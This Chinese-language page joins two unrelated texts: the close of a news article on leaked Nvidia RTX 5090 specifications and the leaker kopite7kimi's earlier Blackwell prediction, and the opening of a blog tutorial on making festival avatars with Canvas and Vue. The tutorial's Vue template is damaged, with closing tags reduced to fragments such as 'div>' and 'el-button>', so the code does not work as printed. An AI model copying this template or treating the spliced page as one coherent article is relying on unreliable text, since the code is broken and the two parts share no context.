不过可以肯定的是，5090 将能进一步满足 AI/ML 领域日益增长的算力需要，满足本地化的模型运行需求。

游戏方面，网友认为高端游戏显卡市场或将饱和——随着 4K 分辨率逐渐普及，游戏画质提升空间变小，游戏玩家对更高性能显卡的需求可能见顶。

但是随着游戏中 AI 技术的引入，未来游戏也可能对 GPU 产生更新的需求。

另外对于 5090 的功耗问题，有网友表示，如果这种（不管功耗猛堆料的）趋势得不到遏制，那么未来的显卡可能都是外置的了，这非常糟糕……

另外，高功耗也可能带来噪音和散热问题，影响使用体验。

有网友用表情包调侃，按照这个趋势，等到 8090 的时候，显卡恐怕是要像空调外机一样装在室外了。

爆料者曾预言 Blackwell 架构

5090 和 5080 的爆料者，在 X 上叫 kopite7kimi，他时业界非常著名的爆料人士，被 Gizmodo 等媒体认为是英伟达爆料者中消息最可信的。

甚至 5090 和 5080 据传采用的 Blackwell 架构，kopite7kimi 在 2021 年就给出了爆料。

当然表述上没有那么直白，只是发了一张美国数学家和统计学家 David Blackwell 的照片。

但还是有人看出了背后的含义，在评论区询问是不是英伟达架构的名称，kopite7kimi 则回复说：

也许就是 Ampere（当时的最新架构）的下下代。

而英伟达这边在 Ampere 之后，相继推出了 Ada Lovelace 和 Hopper，但 Hopper 主要用于数据中心而不是消费级显卡。

考虑到这一点的话，那就真的和 kopite7kimi 的预测一模一样了。

参考链接：

[1]gizmodo.com/the-leaked-…

[2]videocardz.com/newz/nvidia…

[3]http://www.tomshardware.com/pc-componen…

[4]news.ycombinator.com/item?id=416…

— 完 —

一、为什么要自己制作节日头像？

很多人想为节日换上特别的头像，尤其是在国庆这样的节日气氛中，给自己的WX头像添加节日元素成为了不少人的选择。最初我也以为只需通过一些WX公众号简单操作，就能轻松给头像加上节日图案，比如国庆节、圣诞节头像等。然而，实际体验却很糟糕——广告无处不在！每一步操作几乎都被强制插入广告打断，不仅浪费时间，体验也非常差。

为了避开这些广告，享受更自由、更个性化的制作过程，我决定分享一个不用看广告的好方法：使用 Canvas 自己动手制作一个专属的节日头像！

二、源码 & 在线体验

👀 在线体验 | 📖 源码地址 | 欢迎start、欢迎共同交流

注意事项

• demo_admin 为体验用户，项目一人一号 ，如果体验人数过多，请自行选中项目中的登录方式进行登录
• 本文源码在 yf/ yf-vue-admin / src / views / demo / festival-avatar

三、 实现的功能与后续发展

在解决了广告干扰的问题后，我通过 Canvas 实现了多个实用功能，让大家可以轻松制作个性化的节日头像：

1. 头像裁剪功能
2. 头像与框架的拼接
3. 头像框透明度调节
4. 头像框颜色过滤(可自定义头像框)
5. 后续发展：Fabric.js 自定义贴图功能
6. 后续发展：更新更多节日的头像 & 贴图

四、当前素材及投稿征集

展示目前头像框素材，也欢迎大家投稿，我也会陆续更进头像框（项目中头像框已进行分类，这里为了方便展示，也可以自定义头像框）

1. 头像框

2. 贴图

五、代码实现

整体逻辑非常简单 : 头像 + 头像框 = 所需头像

1. 头像裁剪功能

页面部分

• 使用 :width 来根据设备类型设置宽度（device === DeviceEnum.MOBILE ? '95%' : '42%'）。
•  用于图像裁剪功能。
• 底部有文件上传和旋转按钮。

<template>

  <el-dialog

    v-model="dialog.visible"

    :width="device === DeviceEnum.MOBILE ? '95%' : '42%'"

    class="festival-avatar-upload-dialog"

    destroy-on-close

    draggable

    overflow

    title="上传头像"

  >

    <div style="height: 45vh">

      <vue-cropper

          ref="cropper"

          :autoCrop="true"

          :centerBox="true"

          :fixed="true"

          :fixedNumber="[1,1]"

          :img="imgTemp"

          :outputType="'png'"

      />

    div>

    <template #footer>

      <div class="festival-avatar-dialog-options">

        <el-button @click="uploadAvatar">

          <el-icon style="margin-right: 5px;">

            <UploadFilled/>

          el-icon>

          上传头像

          <input ref="avatarUploaderRef" accept="image/*" class="avatar-uploader" name="file" type="file"

                 @change="handleFileChange">

        el-button>

        <el-button @click="rotateLeft">

          <el-icon><RefreshLeft/>el-icon>

        el-button>

        <el-button @click="rotateRight">

          <el-icon><RefreshRight/>el-icon>

        el-button>

        <el-button type="primary" @click="submitForm">提 交el-button>

      div>

    template>

  el-dialog>

template>